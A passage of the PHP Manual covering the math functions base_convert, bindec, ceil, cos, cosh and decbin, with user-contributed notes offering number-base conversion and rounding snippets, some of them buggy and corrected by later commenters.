Im sure there are other reasons to use this, you decide!!

<?php
function InvertColor($hex) {
  return sprintf("%06s",base_convert(($hex ^ 0xFFFFFF),10,16));
  };

print '<td bgcolor="BB2222"><font color="'.InvertColor(0xBB2222).'">Blah</font></td>';
// Prints 44dddd as the font color, which is it's opposite on the color wheel

?>
Fips 29-Jul-2003 11:08
I wrote a function for converting numbers not only into 0-9 and a-z:

-----
<?php
function custombase_convert($numstring, $baseFrom = "0123456789", $baseTo = "0123456789")
{
    $numstring = (string) $numstring;
    $baseFromLen = strlen($baseFrom);
    $baseToLen = strlen($baseTo);
    if ($baseFrom == "0123456789") // No analyzing needed, because $numstring is already decimal
    {
        $decVal = (int) $numstring;
    } else {
        $decVal = 0;
        for ($len = (strlen($numstring) - 1); $len >= 0; $len--)
        {
            $char = substr($numstring, 0, 1);
            $pos = strpos($baseFrom, $char);
            if ($pos !== FALSE)
            {
                $decVal += $pos * ($len > 0 ? pow($baseFromLen, $len) : 1);
            }
            $numstring = substr($numstring, 1);
        }
    }
    if ($baseTo == "0123456789") // No converting needed, because $numstring needs to be converted to decimal
    {
        $numstring = (string) $decVal;
    } else {
        $numstring = FALSE;
        $nslen = 0;
        $pos = 1;
        while ($decVal > 0)
        {
            $valPerChar = pow($baseToLen, $pos);
            $curChar = floor($decVal / $valPerChar);
            if ($curChar >= $baseToLen)
            {
                $pos++;
            } else {
                $decVal -= ($curChar * $valPerChar);
                if ($numstring === FALSE)
                {
                    $numstring = str_repeat($baseTo{1}, $pos);
                    $nslen = $pos;
                }
                $numstring = substr($numstring, 0, ($nslen - $pos)) . $baseTo{$curChar} . substr($numstring, (($nslen - $pos) + 1));
                $pos--;
            }
        }
        if ($numstring === FALSE) $numstring = $baseTo{1};
    }
    return $numstring;
}
?>
------

The function arguments:
$numstring - String with number to convert. (e.g. "15" or "5F")
$baseFrom - Chars of the base the number is in. (e.g. "0123456789" for decimal or "01" for binary)
$baseTo - Chars of the base to convert the number. (e.g. "0123456789" for decimal or "01" for binary)

I wrote it for writing numbers in files, and so I convert between "0123456789" (decimal) and "\x01\x02\x03...\xFF" - uses very low disc space :-) (You could of course also add the null char (\x00), but >I< need it to seperate the numbers)
sam_at_compasspointmedia.com 07-Dec-2002 02:15
If you haven't already figured it out from the text, the higest base you can encode in is 36 (because z is 35),  try this

<?php
$compactIt = base_convert('999',10,37);  //or anything higher
?>

and you'll get a warning.
gateschris at yahoo dot com 26-Mar-2001 04:57
if your worried about little/big edian affecting your dec to binary conversions, or just want to convert large numbers then try this bit of code:
<?php
// this little bit of code is simply to convert a 64bit number.
function convert_num ($value) {
 $value = (string) $value;
 while (!preg_match('/^0*$/', $value) && $j < 65) {
  $cumulate = '';
  $rem = '';
  for ($i = 0; $i < strlen($value); $i++) {
   if ($cumulate == '') {
    if (floor(($value[$i] + $rem) / 2)) {
     $cumulate .= floor(($value[$i] + $rem) / 2);
    }
   } else {
    $cumulate .= floor(($value[$i] + $rem) / 2);
   }
   $rem = $value [$i] % 2 * 10;
  }
  $r = floor($rem / 10);
  $re .= $r;
  $value = $cumulate;
  $j++;
 }
 return $re;
}

print convert_num (65535);
?>
tim_converse at yahoo dot com 19-Jan-2000 03:24
base_convert expects its string arguments to be integral, and gives nonsensical answers when given floating-point strings.  For example, base_convert("1.0", 10, 2) yields "1100100".  It seems that "1.0" is being interpreted as "100".  (PHP4.0b3).
scott at mha dot ca 08-Sep-1999 03:48
This would seem to be limited to 31 bits, ie. the range of values that can be converted is 0 - 2147483647 in decimal.

Also, this will convert negative values to positive values, unlike DecHex() which will return a null string for negative values.

From what I have observed (using PHP 3.0.11) the following statements will set both a and c to a null string and set b to positive 1.

<?php
$a = base_convert (2147483648, 10, 16);
$b = base_convert (-1, 10, 16);
$c = dechex (-1);
?>
atanh
bindec
Math Functions


Binary to decimal

base_convert
ceil
Math Functions
PHP Manual

bindec

(PHP 4, PHP 5)

bindec — Binary to decimal

Description

number bindec ( string $binary_string )

Returns the decimal equivalent of the binary number represented by the binary_string argument.

bindec() converts a binary number to an integer or, if needed for size reasons, float.

bindec() interprets all binary_string values as unsigned integers. This is because bindec() sees the most significant bit as another order of magnitude rather than as the sign bit.

Parameters

binary_string

The binary string to convert

Warning

The parameter must be a string. Using other data types will produce unexpected results.

Return Values

The decimal value of binary_string

Changelog

Version | Description
Since 4.1.0 | The function can now convert numbers that are too large to fit into the platforms integer type, larger values are returned as float in that case.

Examples

Example #1 bindec() example

<?php
echo bindec('110011') . "\n";
echo bindec('000110011') . "\n";

echo bindec('111');
?>

The above example will output:

51
51
7

Example #2 bindec() interprets input as unsigned integers

<?php
/*
 * The lesson from this example is in the output
 * rather than the PHP code itself.
 */

$magnitude_lower = pow(2, (PHP_INT_SIZE * 8) - 2);
p($magnitude_lower - 1);
p($magnitude_lower, 'See the rollover?  Watch it next time around...');

p(PHP_INT_MAX, 'PHP_INT_MAX');
p(~PHP_INT_MAX, 'interpreted to be one more than PHP_INT_MAX');

if (PHP_INT_SIZE == 4) {
    $note = 'interpreted to be the largest unsigned integer';
} else {
    $note = 'interpreted to be the largest unsigned integer
              (18446744073709551615) but skewed by float precision';
}
p(-1, $note);

function p($input, $note = '') {
    echo "input:        $input\n";

    $format = '%0' . (PHP_INT_SIZE * 8) . 'b';
    $bin = sprintf($format, $input);
    echo "binary:       $bin\n";

    ini_set('precision', 20);  // For readability on 64 bit boxes.
    $dec = bindec($bin);
    echo 'bindec():     ' . $dec . "\n";

    if ($note) {
        echo "NOTE:         $note\n";
    }

    echo "\n";
}
?>

Output of the above example on 32 bit machines:

input:        1073741823
binary:       00111111111111111111111111111111
bindec():     1073741823

input:        1073741824
binary:       01000000000000000000000000000000
bindec():     1073741824
NOTE:         See the rollover?  Watch it next time around...

input:        2147483647
binary:       01111111111111111111111111111111
bindec():     2147483647
NOTE:         PHP_INT_MAX

input:        -2147483648
binary:       10000000000000000000000000000000
bindec():     2147483648
NOTE:         interpreted to be one more than PHP_INT_MAX

input:        -1
binary:       11111111111111111111111111111111
bindec():     4294967295
NOTE:         interpreted to be the largest unsigned integer

Output of the above example on 64 bit machines:

input:        4611686018427387903
binary:       0011111111111111111111111111111111111111111111111111111111111111
bindec():     4611686018427387903

input:        4611686018427387904
binary:       0100000000000000000000000000000000000000000000000000000000000000
bindec():     4611686018427387904
NOTE:         See the rollover?  Watch it next time around...

input:        9223372036854775807
binary:       0111111111111111111111111111111111111111111111111111111111111111
bindec():     9223372036854775807
NOTE:         PHP_INT_MAX

input:        -9223372036854775808
binary:       1000000000000000000000000000000000000000000000000000000000000000
bindec():     9223372036854775808
NOTE:         interpreted to be one more than PHP_INT_MAX

input:        -1
binary:       1111111111111111111111111111111111111111111111111111111111111111
bindec():     18446744073709551616
NOTE:         interpreted to be the largest unsigned integer
              (18446744073709551615) but skewed by float precision

See Also

  • decbin() - Decimal to binary
  • octdec() - Octal to decimal
  • hexdec() - Hexadecimal to decimal
  • base_convert() - Convert a number between arbitrary bases

User Contributed Notes

info at rickdg dot nl 01-Apr-2010 04:40
Two functions to convert 16bit or 8bit binary to integer using two's complement. If input exceeds maximum bits, false is returned. Function is easily scalable to x bits by changing the hexadecimals.

<?php function _bin16dec($bin) {
    // Function to convert 16bit binary numbers to integers using two's complement
    $num = bindec($bin);
    if($num > 0xFFFF) { return false; }
    if($num >= 0x8000) {
        return -(($num ^ 0xFFFF)+1);
    } else {
        return $num;
    }
}

function _bin8dec($bin) {
    // Function to convert 8bit binary numbers to integers using two's complement
    $num = bindec($bin);
    if($num > 0xFF) { return false; }
    if($num >= 0x80) {
        return -(($num ^ 0xFF)+1);
    } else {
        return $num;
    }
} ?>
Nitrogen 21-Jul-2009 07:27
Binary to Decimal conversion using the BCMath extension..

<?php

function BCBin2Dec($Input='') {
  $Output='0';
  if(preg_match("/^[01]+$/",$Input)) {
    for($i=0;$i<strlen($Input);$i++)
      $Output=BCAdd(BCMul($Output,'2'),$Input{$i});
  }
  return($Output);
}

?>

This will simply convert from Base-2 to Base-10 using BCMath (arbitrary precision calculation).

See also: my 'BCDec2Bin' function on the 'decbin' document.
Enjoy,
Nitrogen.
nodarinodo at mail dot ru 08-Jan-2009 11:51
<?php
// bindecfunc :)))) I think it works well too :)
function bindecc($str)
    {
        $str = str_replace(" ", "", $str);
        $strr = preg_match('/[^01]/', $str);
        if($strr == 1) { return "<b> Error ! only 1 and 0;</b>"; }
        $strsig = strlen($str);
        $strr1 = strrev($str);
        $strf = '';
        for($i = $strsig; $i >= 0; $i--)
        {
            $strf += ($strr1[$i] * pow(2, $i));
            #$strf += $str[$i];
        }
        return $strf;
    }
?>
flashpack at gmail dot com 16-Nov-2008 04:40
for converting fractions :
eg : 1001.1101

<?php
function BinaryToDecimal($binary){
  $binary=trim($binary);
  if (strstr($binary,'.')){
    $split=explode('.',$binary);
    $integer=$split[0];
    $fraction=$split[1];

    $digits=str_split($fraction);
    $num=sizeof($digits);
    for ($i=1; $i<=$num;$i++){
      if ($digits[$i-1]>1){
        echo '<script>alert("Enter Binary Digits Only {0,1}\n \n eg: 11001 or 11001.011");history.go(-1)</script> ';
      }
      $exponent=pow(2,-$i);
      $fraction_result+=$digits[$i-1]*$exponent;
    }

  }else{
    $integer=$binary;
  }

  $splits=str_split($integer);
  $num=sizeof($splits)-1;
  $i=$num;
  foreach($splits as $digits){
    if ($digits>1){
      echo '<script>alert("Enter Binary Digits Only {0,1}\n \n eg: 11001 or 11001.011");history.go(-1)</script> ';
    }
    $exponent=pow(2,$i);
    $integer_result+=$digits*$exponent;
    $i--;
  }
  if($fraction_result){
    $result=$integer_result+$fraction_result;
  }else {
    $result=$integer_result;
  }
  return $result ;
}
?>
mashematician at gmail dot com 13-Mar-2008 08:57
A binary to decimal conversion function that takes advantage of the BC library functions to return decimal values of arbitrary length.

Input type must be a string in order to work properly.

<?php

function binary_to_decimal($a) {
    $bin_array = str_split($a);

    $y=sizeof($bin_array)-1;
    for ($x=0; $x<sizeof($bin_array)-1; $x++) {
        if ($bin_array[$x] == 1) {
            $bin_array[$x] = bcpow(2, $y);
        }
        $y--;
    }

    for ($z=0; $z<sizeof($bin_array); $z++) {
        $result = bcadd($result, $bin_array[$z]);
    }
    echo $result;
}

binary_to_decimal('11111');

?>
alan hogan dot com slash contact 09-Nov-2007 01:34
The "smartbindec" function I wrote below will convert any binary string (of a reasonable size) to decimal.  It will use two's complement if the leftmost bit is 1, regardless of bit length.  If you are getting unexpected negative answers, try zero-padding your strings with sprintf("%032s", $yourBitString).

<?php
function twoscomp($bin) {
    $out = "";
    $mode = "init";
    for($x = strlen($bin)-1; $x >= 0; $x--) {
        if ($mode != "init")
            $out = ($bin[$x] == "0" ? "1" : "0").$out;
        else {
            if($bin[$x] == "1") {
                $out = "1".$out;
                $mode = "invert";
            }
            else
                $out = "0".$out;
        }
    }
    return $out;
}
function smartbindec($bin) {
    if($bin[0] == 1)
        return -1 * bindec(twoscomp($bin));
    else return (int) bindec($bin);
}
?>
gwbdome at freenet dot de 19-Aug-2004 02:43
i think a better method than the "shift-method" is my method ^^...
here it comes:

function convert2bin($string) {
     $finished=0;
     $base=1;
     if(preg_match("/[^0-9]/", $string)) {
         for($i=0; $string!=chr($i); $i++);
         $dec_nr=$i;
     }
     else $dec_nr=$string;
     while($dec_nr>$base) {
         $base=$base*2;
         if($base>$dec_nr) {
             $base=$base/2;
             break;
         }
     }
     while(!$finished) {
         if(($dec_nr-$base)>0) {
             $dec_nr=$dec_nr-$base;
             $bin_nr.=1;
             $base=$base/2;
         }
         elseif(($dec_nr-$base)<0) {
             $bin_nr.=0;
             $base=$base/2;
         }
         elseif(($dec_nr-$base)==0) {
             $bin_nr.=1;
             $finished=1;
             while($base>1) {
                 $bin_nr.=0;
                 $base=$base/2;
             }
         }
     }
     return $bin_nr;
 }

=====================================================

if you want to reconvert it (from binary to string or integer) you can use this function:

function reconvert($bin_nr) {
     $base=1;
     $dec_nr=0;
     $bin_nr=explode(",", preg_replace("/(.*),/", "$1", str_replace("1", "1,", str_replace("0", "0,", $bin_nr))));
     for($i=1; $i<count($bin_nr); $i++) $base=$base*2;
     foreach($bin_nr as $key=>$bin_nr_bit) {
         if($bin_nr_bit==1) {
             $dec_nr+=$base;
             $base=$base/2;
         }
         if($bin_nr_bit==0) $base=$base/2;
     }
     return(array("string"=>chr($dec_nr), "int"=>$dec_nr));
 }
martin at punix dot de 29-May-2003 10:47
## calculate binary with "shift-method" ##

<?php
function dec2bin($decimal_code){
 for($half=($decimal_code);$half>=1;$half=(floor($half))/2){
   if(($half%2)!=0){
    $y.=1;
   }
   else{
    $y.=0;
   }
  }
 $calculated_bin=strrev($y);
 return $calculated_bin;
}
?>

## example ##

[bin] 123 = [dec] 1111011

e.g.
123/2 = 61,5 => 1
61/2  = 30,5 => 1
30/2  = 15   => 0
15/2  = 7,5  => 1
7/2   = 3,5  => 1
3/2   = 1,5  => 1
1/2   = 0,5  => 1
(0/2   = 0    finish)
php at silisoftware dot com 28-Feb-2002 07:16
For converting larger-than-31-bit numbers:

<?php
function Bin2Dec($binstring) {
    for ($i=0;$i<strlen($binstring);$i++) {
        $decvalue += ((int) substr($binstring, strlen($binstring) - $i - 1, 1)) * pow(2, $i);
    }
    return $decvalue;
}
?>
base_convert
ceil
Math Functions


Round fractions up

bindec
cos
Math Functions
PHP Manual

ceil

(PHP 4, PHP 5)

ceil — Round fractions up

Description

float ceil ( float $value )

Returns the next highest integer value by rounding up value if necessary.

Parameters

value

The value to round

Return Values

value rounded up to the next highest integer. The return value of ceil() is still of type float as the value range of float is usually bigger than that of integer.

Examples

Example #1 ceil() example

<?php
echo ceil(4.3);    // 5
echo ceil(9.999);  // 10
echo ceil(-3.14);  // -3
?>

See Also

  • floor() - Round fractions down
  • round() - Rounds a float

User Contributed Notes

oktam 10-May-2011 03:12
Actual behaviour:
echo ceil(-0.1); //result "-0" but i expect "0"

Workaround:
echo ceil(-0.1)+0; //result "0"
AndrewS 07-Mar-2011 04:55
The code below rounds a value up to a nearest multiple, away from zero.  The multiple does not have to be a integer.  So you could round, say, to the nearest 25.4, allowing you to round measurements in mm to the nearest inch longer.

<?php
// $x is the variable
// $c is the base multiple to round to, away from zero
$result =  ( ($y = $x/$c) == ($y = (int)$y) ) ? $x : ( $x>=0 ?++$y:--$y)*$c ;
?>

I originally developed this as an example of write-only code: to make the point that being cleverly terse might save clock ticks but wastes more in programmer time generating un-maintainable code.

The inline code above nests one conditional statement inside another.  The value of y changes twice within the same line (three times, if you count the pre-increment).  The value of each assignment is used to determine branching within the conditional statement.

How it works can more easily be seen from the expansion below:

<?php
function myCeilingLong($x,$c)
{
    // $x is variable
    // $c is ceiling multiple
    $a = $x/$c ;
    $b = (int)$a ;
    if ($a == $b)
        return $x ;  // x is already a multiple of c;
    else
    {
        if ($x>=0)
            return ($b+1)*$c ;  // return ((int)(x/c)+1 ) * c
        else
            return ($b-1)*$c ;  // return ((int)(x/c)-1 ) * c
    }
}
?>

<?php
function myCeilingShort($x,$c)
{
    return ( ($y = $x/$c) == ($y = (int)$y) ) ? $x : ( $x>=0 ?++$y:--$y)*$c ;
}
?>

Comparing the versions for speed: the in-line version is about three times faster than myCeilingLong() - but this is almost entirely down to function call overhead.

Putting the in-line code inside the function: the difference in execution speed between myCeilingLong() and myCeilingShort() is around 1.5%.

ceil() is still around 25% faster than the in-line statement so if you are a speed hound your efforts might be better devoted to compiling your own library ...
that_cow at gmail dot com 13-Jan-2009 04:05
Scott Weaver / scottmweaver * gmail I am not sure if this was a typo or what but in your example

ceiling(1,1) is not 1000, it is 1
Chevy 30-Dec-2008 12:54
Quick and dirty `ceil` type function with precision capability.

<?php
function ceiling($value, $precision = 0) {
    return ceil($value * pow(10, $precision)) / pow(10, $precision);
}
?>
agadret at terra dot com dot br 14-Dec-2008 10:52
Be aware that

echo 5*0.2*7;          // results 7
echo ceil (5*0.2*7);   // results 7
echo ceil (5*(0.2*7)); // results 8
Scott Weaver / scottmweaver * gmail 29-Aug-2008 10:46
I needed this and couldn't find it so I thought someone else wouldn't have to look through a bunch of Google results-

<?php

// duplicates m$ excel's ceiling function
if( !function_exists('ceiling') )
{
    function ceiling($number, $significance = 1)
    {
        return ( is_numeric($number) && is_numeric($significance) ) ? (ceil($number/$significance)*$significance) : false;
    }
}

echo ceiling(0, 1000);     // 0
echo ceiling(1, 1);        // 1000
echo ceiling(1001, 1000);  // 2000
echo ceiling(1.27, 0.05);  // 1.30

?>
benjamwelker * gmail 29-May-2008 09:57
@ zariok

that function is nice, but it only works for positive numbers, causing negative numbers to be grossly incorrect.

e.g.-

round_up(4.765, 2) => 4.77 as expected
round_up(-4.765, 2) => -3.23

a couple modified versions of your function (depending on which one you really want):

<?php

// rounds towards positive infinity
function round_up($value, $precision = 0) {
    $sign = (0 <= $value) ? +1 : -1;
    $amt = explode('.', $value);
    $precision = (int) $precision;

    if (strlen($amt[1]) > $precision) {
        $next = (int) substr($amt[1], $precision);
        $amt[1] = (float) (('.'.substr($amt[1], 0, $precision)) * $sign);

        if (0 != $next) {
            if (+1 == $sign) {
                $amt[1] = $amt[1] + (float) (('.'.str_repeat('0', $precision - 1).'1') * $sign);
            }
        }
    }
    else {
        $amt[1] = (float) (('.'.$amt[1]) * $sign);
    }

    return $amt[0] + $amt[1];
}

// rounds away from zero
function round_out($value, $precision = 0) {
    $sign = (0 <= $value) ? +1 : -1;
    $amt = explode('.', $value);
    $precision = (int) $precision;

    if (strlen($amt[1]) > $precision) {
        $next = (int) substr($amt[1], $precision);
        $amt[1] = (float) (('.'.substr($amt[1], 0, $precision)) * $sign);

        if (0 != $next) {
            $amt[1] = $amt[1] + (float) (('.'.str_repeat('0', $precision - 1).'1') * $sign);
        }
    }
    else {
        $amt[1] = (float) (('.'.$amt[1]) * $sign);
    }

    return $amt[0] + $amt[1];
}

?>
InsideR(); 09-Aug-2007 06:01
Just to comment on zariok's comment (which is right below mine), his problem is likely due to the fact that decimal numbers (such as 0.5500) cannot be exactly represented in binary (and hence computers can't precisely determine that 0.5500 * 100 = 55).

This feature is great when you know that your result is going to be nowhere near an integer (for example, finding ceil(1/3) will confidently give a 1).  However in situations like his, this is probably not the better function to use.
zariok 09-Aug-2007 07:28
the fCeil and round_up listed below are not reliable.  This could be due to a broken ceil function:

CODE:
function fCeil($val,$pressision=2){
  $p = pow(10,$pressision);
  $val = $val*$p;
  $val = ceil($val);
  return $val /$p;
}
print "fCeil: ".fCeil("0.5500",2)."\n";
print "ceil:  ".ceil("55.00")."\n";
print "ceil:  ".ceil(0.5500 * 100)."\n"; // should be interpreted as ceil(55);

OUTPUT:
fCeil: 0.56
ceil:  55
ceil:  56

Tested: PHP v5.2.2, v5.1.6, v5.0.4 CLI

Quick function I used as replacement:

CODE:
function round_up ($value, $precision=2) {
  $amt = explode(".", $value);
  if(strlen($amt[1]) > $precision) {
    $next = (int)substr($amt[1],$precision);
    $amt[1] = (float)(".".substr($amt[1],0,$precision));
    if($next != 0) {
      $rUp = "";
      for($x=1;$x<$precision;$x++) $rUp .= "0";
      $amt[1] = $amt[1] + (float)(".".$rUp."1");
    }
  }
  else {
    $amt[1] = (float)(".".$amt[1]);
  }
  return $amt[0]+$amt[1];
}
print round_up("0.5500",2)."\n";
print round_up("2.4320",2)."\n";

print "\nprecision: 2\n";
print round_up("0.5",2)."\n";
print round_up("0.05",2)."\n";
print round_up("0.050",2)."\n";
print round_up("0.0501", 2)."\n";
print round_up("0.0500000000001", 2)."\n";

print "\nprecision: 3\n";
print round_up("0.5",3)."\n";
print round_up("0.05",3)."\n";
print round_up("0.050",3)."\n";
print round_up("0.0501",3)."\n";
print round_up("0.0500000000001",3)."\n";

OUTPUT:
0.55
2.44

precision: 2
0.5
0.05
0.05
0.06
0.06

precision: 3
0.5
0.05
0.05
0.051
0.051
themanwe at yahoo dot com 20-Mar-2007 11:35
float ceil

function fCeil($val,$pressision=2){
     $p = pow(10,$pressision);
    $val = $val*$p;
    $val = ceil($val);
  return $val /$p;
}
admin("AT")dbss('DOT')dk 21-Jan-2007 02:31
This note can be uset to eg. page shift.

$GbogRes = mysql_query("SELECT * FROM table WHERE felt = userid");
$CountRow = mysql_num_rows($GbogRes);

echo ceil($CountRow / 10);

so can you look X page you can shift.
rjones at i-ps dot net 05-Mar-2006 04:19
To eliftymes below:

To check if a numer is divisible by another number just check if the modulus is zero:

if ($bigger_number % $lower_number == 0)
{
    echo "Can be wholey divided<br />";
}
else
{
    echo "Not wholey divisible";
}
tom pittlik 27-Feb-2006 04:02
ceil() is a useful way to quickly format bogus shopping cart quantities:

<?

ceil("str"); // 0
ceil("001"); // 1
ceil("0.1"); // 1
ceil("a34"); // 0
ceil("2fg"); // 2
ceil("$%%"); // 0

?>
eliftymes at gmail dot com 23-Feb-2006 12:20
Here's a little function I wrote that checks if a number is divisible by another number.

function check_divisible($number, $divider) {
 if(ceil($number/$divider) == $number/$divider) {
   return TRUE;
 } else {
   return FALSE;
 }
}

Useage would be as so.

$bigger_number=10;
$smaller_number=2;
if(check_divisible($bigger_number, $smaller_number)) {
 echo "$bigger_number is divisible by $smaller_number!";
} else {
 echo "$bigger_number is NOT divisible by $smaller_number!";
}

It's possible uses would be for:

Every 3rd, fourth, fifth, or whatever row in a table could be treated uniquely

Simple games...

Teaching your little kid math.
ermolaeva_elena at mail dot ru 20-Dec-2005 07:27
To round a number up to the nearest power of 10,
I've used
= ceil(intval($val)/10)*10;
nobody 22-Nov-2005 09:00
Here's a more simple one to do ceil to nearest 10:

function ceilpow10(val) {
   if (val % 10 == 0) return val;
   return val + (10 - (val % 10));
}
schmad at miller dash group dot net 18-Apr-2005 09:38
To round a number up to the nearest power of 10 use this simple procedure:

$multiplier = .1;
while($number>1)
{
    $number /= 10;
    $multiplier *= 10;
}
$number = ceil($number) * $multiplier;
coxswain at navaldomination dot com 16-Mar-2005 02:06
steve_phpnet // nanovox \\ com wouldn't:

<?php
$ceil  = ceil(4.67 * 10) / 10;
?>

work just as well?
steve_phpnet // nanovox \\ com 28-Feb-2005 12:40
I couldn't find any functions to do what ceiling does while still leaving I specified number of decimal places, so I wrote a couple functions myself.  round_up is like ceil but allows you to specify a number of decimal places.  round_out does the same, but rounds away from zero.

<?php
 // round_up:
 // rounds up a float to a specified number of decimal places
 // (basically acts like ceil() but allows for decimal places)
 function round_up ($value, $places=0) {
  if ($places < 0) { $places = 0; }
  $mult = pow(10, $places);
  return ceil($value * $mult) / $mult;
 }

 // round_out:
 // rounds a float away from zero to a specified number of decimal places
 function round_out ($value, $places=0) {
  if ($places < 0) { $places = 0; }
  $mult = pow(10, $places);
  return ($value >= 0 ? ceil($value * $mult):floor($value * $mult)) / $mult;
 }

 echo round_up (56.77001, 2); // displays 56.78
 echo round_up (-0.453001, 4); // displays -0.453
 echo round_out (56.77001, 2); // displays 56.78
 echo round_out (-0.453001, 4); // displays -0.4531
?>
sven at plus dot hr 10-Feb-2005 03:59
function roundaway($num) {
switch($num) {
case ($num > 0):
$n = ceil($num);
break;
case ($num < 0):
$n = floor($num);
break;
case ($num == 0):
$n = 0;
break;
}
return $n;
}
aaron at mind-design dot co dot uk 21-Jul-2004 01:10
Or for the terniary fans:

<?php

function roundaway($num) {
   return(($num > 0) ? ceil($num) : floor($num));
}

?>

Slightly pointless, but there you have it, in one line only..
rainfalling at yahoo dot com 22-Apr-2004 05:51
IceKarma said: "If you want, say, 2.6 to round to 3, and -2.6 to round to -3, you want round(), which rounds away from zero."

That's not always true. round() doesn't work that way, like zomis2k said it just rounds up _or_ down to the nearest non-decimal number. However this should work.

<?php

function roundaway($num) {
    if ($num > 0)
      return ceil($num);
    elseif ($num < 0)
      return floor($num);
    elseif ($num == 0)
      return 0;
}

?>
roger_dupere at hotmail dot com 10-Nov-2003 02:02
Here is a navbar using the ceil function.

<?php
 function navbar($num_rows,$page,$link) {
   $nbrlink = 10; /* Number of link to display per page */
   $page = (int) $page; /* Page now displayed */
   $num_rows = (int) $num_rows;

   if( $num_rows > 0 ) {
     $total_page = ceil( $num_rows / $nbrlink );

     for( $i=1;$i<$total_page+1;$i++ ) {
       if( $i == $page ) {
         $ret .= " <b>$i</b> ";
       } else {
         if( strstr( $link,"?" ) ) {
           $ret .= " <a href=\"$link&page=$i\">$i</a> ";
         } else {
           $ret .= " <a href=\"$link?page=$i\">$i</a> ";
         }
       }
     }

     return $ret;
   }
 }
  /* Let say that $num_rows content the numbre of rows of your sql query */
  $navbar = navbar( $num_rows, $page, "listmovie.php?id=$id" );

  if( $navbar != null || $navbar != "" ) {
    print( "<p><div align=\"center\">$navbar</div></p>" );
  }
?>
zomis2k at hotmail dot com 22-May-2003 11:24
>If you want, say, 2.6 to round to 3, and -2.6 to round to -3, you want round(), which rounds away from zero.

round() does not always round away from zero
round(2.4) = 2
round(2.6) = 3
round(-2.4) = -2
round(-2.6) = -3

round() rounds number to nearest non-decimal number.
IceKarma 21-Apr-2003 05:31
ceil() rounds towards positive infinity ("up"), floor() rounds towards negative infinity ("down").

If you want, say, 2.6 to round to 3, and -2.6 to round to -3, you want round(), which rounds away from zero.
bindec
cos
Math Functions


Cosine

ceil
cosh
Math Functions
PHP Manual

cos

(PHP 4, PHP 5)

cos — Cosine

Description

float cos ( float $arg )

cos() returns the cosine of the arg parameter. The arg parameter is in radians.

Parameters

arg

An angle in radians

Return Values

The cosine of arg

Examples

Example #1 cos() example

<?php

echo cos(M_PI); // -1

?>

See Also

  • acos() - Arc cosine
  • sin() - Sine
  • tan() - Tangent
  • deg2rad() - Converts the number in degrees to the radian equivalent

User Contributed Notes

bruha at las wegos dot net 09-Aug-2008 07:45
Another way to figure out a triangle (more efficient)

<?php
$a = 10; // a
$b = 15; // b

$angle = 45;  // angle opposite side c

$c = (sqrt(pow($a, 2) + pow($b, 2) - $a * $b * cos(deg2rad($angle)) * 2));

// side c = 10.613894770933
?>

yes im good arent i?
joescuriosityshoppe at gmail dot com 13-Oct-2006 02:55
Find the side of a triangle using two sides and an angle:
<?
$a = "10"; // length of side a
$b = "15"; // length of side b
$angle = "45";  // angle opposite side c

$c = (sqrt(pow($a, 2) + pow($b, 2) - $a * $b * cos(deg2rad($angle)) * 2));

// side c = 10.613894770933
?>
felipensp at gmail dot com 12-Mar-2006 05:29
Convert degree to radianus, radianus to cos.

<?php

    // Degree
    $degree = 360;

    // Convertion
    print cos(deg2rad($degree));

?>
ceil
cosh
Math Functions


Hyperbolic cosine

cos
decbin
Math Functions
PHP Manual

cosh

(PHP 4 >= 4.1.0, PHP 5)

cosh — Hyperbolic cosine

Description

float cosh ( float $arg )

Returns the hyperbolic cosine of arg, defined as (exp(arg) + exp(-arg))/2.

Parameters

arg

The argument to process

Return Values

The hyperbolic cosine of arg

See Also

  • cos() - Cosine
  • acosh() - Inverse hyperbolic cosine
  • sinh() - Hyperbolic sine
  • cosh()

User Contributed Notes

There are no user contributed notes for this page.
cos
decbin
Math Functions


Decimal to binary

cosh
dechex
Math Functions
PHP Manual

decbin

(PHP 4, PHP 5)

decbin — Decimal to binary

Description

string decbin ( int $number )

Returns a string containing a binary representation of the given number argument.

Parameters

number

Decimal value to convert

Range of inputs on 32-bit machines
positive number | negative number | return value
0 | 0
1 | 1
2 | 10
... normal progression ...
2147483646 | 1111111111111111111111111111110
2147483647 (largest signed integer) | 1111111111111111111111111111111 (31 1's)
2147483648 | -2147483648 | 10000000000000000000000000000000
... normal progression ...
4294967294 | -2 | 11111111111111111111111111111110
4294967295 (largest unsigned integer) | -1 | 11111111111111111111111111111111 (32 1's)
Range of inputs on 64-bit machines
positive number | negative number | return value
0 | 0
1 | 1
2 | 10
... normal progression ...
9223372036854775806 | 111111111111111111111111111111111111111111111111111111111111110
9223372036854775807 (largest signed integer) | 111111111111111111111111111111111111111111111111111111111111111 (63 1's)
-9223372036854775808 | 1000000000000000000000000000000000000000000000000000000000000000
... normal progression ...
-2 | 1111111111111111111111111111111111111111111111111111111111111110
-1 | 1111111111111111111111111111111111111111111111111111111111111111 (64 1's)

Return Values

Binary string representation of number

Examples

Example #1 decbin() example

<?php
echo decbin(12) . "\n";
echo decbin(26);
?>

The above example will output:

1100
11010

See Also

  • bindec() - Binary to decimal
  • decoct() - Decimal to octal
  • dechex() - Decimal to hexadecimal
  • base_convert() - Convert a number between arbitrary bases
  • printf() - Output a formatted string, using %b, %032b or %064b as the format
  • sprintf(), using %b, %032b or %064b as the format

User Contributed Notes

p2233 at hotmail dot com 08-Jun-2011 04:22
Here's a generic binary output formatter. It is based on the function in above comments, but lets you specify how many bits your want formatted.

<?php
    /**
     * Output an x bit string representing a binary value.
     * Default is 8 bits ie. 0000 0000
     * eg. fmt_binary($x,32) : output a 32-bit binary representation of $x
     * @param string $x x-bit formatted binary
     */
    function fmt_binary($x, $numbits = 8) {
        // Convert to binary
        $bin = decbin($x);
        $bin = substr(str_repeat(0,$numbits),0,$numbits - strlen($bin)) . $bin;
        // Split into x 4-bits long
        $rtnval = '';
        for ($x = 0; $x < $numbits/4; $x++) {
            $rtnval .= ' ' . substr($bin,$x*4,4);
        }
    // Get rid of first space.
    return ltrim($rtnval);
}
?>
okram at NOSPAMcivokram dot com 06-Jan-2011 07:04
Here's a simple decbin function that uses BC Math. It works only for positive numbers and has no upper limit for $dec (except computation time).

<?php
function bcdecbin($dec) {
    $bin = '';
    while ($dec) {
        $m = bcmod($dec, 2);
        $dec = bcdiv($dec, 2);
        $bin .= abs($m);
    }
    return strrev($bin);
}
?>
J.M. van Leeuwen 23-Aug-2010 01:11
I was surprised by decbin's size limitation. Here is a function without size limitation. It supports much bigger values (like 11.435.168.214), but doesn't support signs because I didn't need signs (yet).

<?php
function dec2bin($dec){
    // Better function for dec to bin. Support much bigger values, but doesn’t support signs
